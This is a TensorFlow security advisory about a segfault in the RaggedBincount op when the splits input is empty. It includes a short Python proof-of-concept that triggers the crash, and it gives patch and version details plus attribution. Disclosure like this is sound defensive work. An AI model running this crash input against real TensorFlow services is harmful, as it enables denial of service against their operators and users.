TensorFlow vulnerable to segfault in `RaggedBincount`

Impact

If RaggedBincount is given an empty input tensor splits, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf
binary_output = True
splits = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-7430)
values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.RaggedBincount(splits=splits, values=values, size=size, weights=weights, binary_output=binary_output)

Patches

We have patched the issue in GitHub commit 7a4591fd4f065f4fa903593bc39b2f79530a74b8.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University